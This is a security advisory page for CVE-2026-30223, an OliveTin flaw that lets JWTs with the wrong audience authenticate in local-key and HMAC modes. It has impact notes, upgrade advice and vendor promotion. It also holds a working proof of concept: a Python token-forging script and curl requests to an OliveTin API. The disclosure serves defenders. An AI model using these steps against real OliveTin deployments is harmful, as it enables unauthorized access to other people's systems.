Summary
When JWT authentication is configured using either:
authJwtPubKeyPath(local RSA public key), orauthJwtHmacSecret(HMAC secret),
the configured audience value (authJwtAud) is not enforced during token parsing.
As a result, validly signed JWT tokens with an incorrect aud claim are accepted for authentication.
This allows authentication using tokens intended for a different audience/service.
Details
Affected Code
File: jwt.go
Lines: 51–59, 144–157, 161–168
Current Behavior
Remote JWKS Mode (Correct):
return jwt.Parse(jwtToken, jwksVerifier.Keyfunc, jwt.WithAudience(cfg.AuthJwtAud))
Audience validation is enforced.
Local Public Key Mode (Vulnerable):
return jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })
No jwt.WithAudience() option is provided.
HMAC Mode (Vulnerable):
return jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })
No jwt.WithAudience() option is provided.
Why This Is Vulnerable: authJwtAud is ignored for authJwtPubKeyPath and authJwtHmacSecret modes, so wrong-audience tokens are accepted.
PoC
Configure OliveTin
Use a minimal config with JWT local key authentication:
authJwtPubKeyPath: ./public.pem authJwtHeader: Authorization authJwtClaimUsername: sub authJwtAud: expected-audience authRequireGuestsToLogin: trueGenerate a Wrong-Audience Token
python3 - <<EOF import jwt, datetime with open("private.pem") as f: key = f.read() token = jwt.encode( { "sub": "low", "aud": "wrong-audience", # intentionally wrong "exp": datetime.datetime.utcnow() + datetime.timedelta(minutes=30) }, key, algorithm="RS256" ) print(token) EOFThis prints the
$WRONG_AUD_TOKEN.Test Without Token (Baseline)
curl -i -X POST http://localhost:1337/api/WhoAmI \ -H 'Content-Type: application/json' \ -d '{}'Expected response:
HTTP/1.1 401 UnauthorizedTest With Wrong-Audience Token
curl -i -X POST http://localhost:1337/api/WhoAmI \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer $WRONG_AUD_TOKEN" \ -d '{}'Expected response:
HTTP/1.1 200 OK {"authenticatedUser":"low","provider":"jwt","usergroup":"","acls":[],"sid":""}Authentication succeeds even though the
audclaim is incorrect.
Impact
An attacker who possesses a valid JWT signed by the configured key (or HMAC secret) but intended for a different audience can authenticate successfully.
This enables:
- Cross-service token reuse
- Authentication using tokens issued for other systems
- Trust boundary violation in multi-service environments
This is particularly severe when:
- OliveTin is deployed behind a centralized SSO provider
- The same signing key is reused across services
- Audience restrictions are relied upon for service isolation
This does not bypass ACL authorization.
It is strictly an authentication validation flaw.
The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.
CVE-2026-30223 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260304231339-e97d8ecbd8d6); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-30223? CVE-2026-30223 is a high-severity improper authentication vulnerability in github.com/OliveTin/OliveTin (go), affecting versions < 0.0.0-20260304231339-e97d8ecbd8d6. It is fixed in 0.0.0-20260304231339-e97d8ecbd8d6. The application does not adequately verify the identity of a user, device, or process before granting access.
- How severe is CVE-2026-30223? CVE-2026-30223 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/OliveTin/OliveTin are affected by CVE-2026-30223? github.com/OliveTin/OliveTin (go) versions < 0.0.0-20260304231339-e97d8ecbd8d6 is affected.
- Is there a fix for CVE-2026-30223? Yes. CVE-2026-30223 is fixed in 0.0.0-20260304231339-e97d8ecbd8d6. Upgrade to this version or later.
- Is CVE-2026-30223 exploitable, and should I be worried? Whether CVE-2026-30223 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-30223 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-30223? Upgrade
github.com/OliveTin/OliveTinto 0.0.0-20260304231339-e97d8ecbd8d6 or later.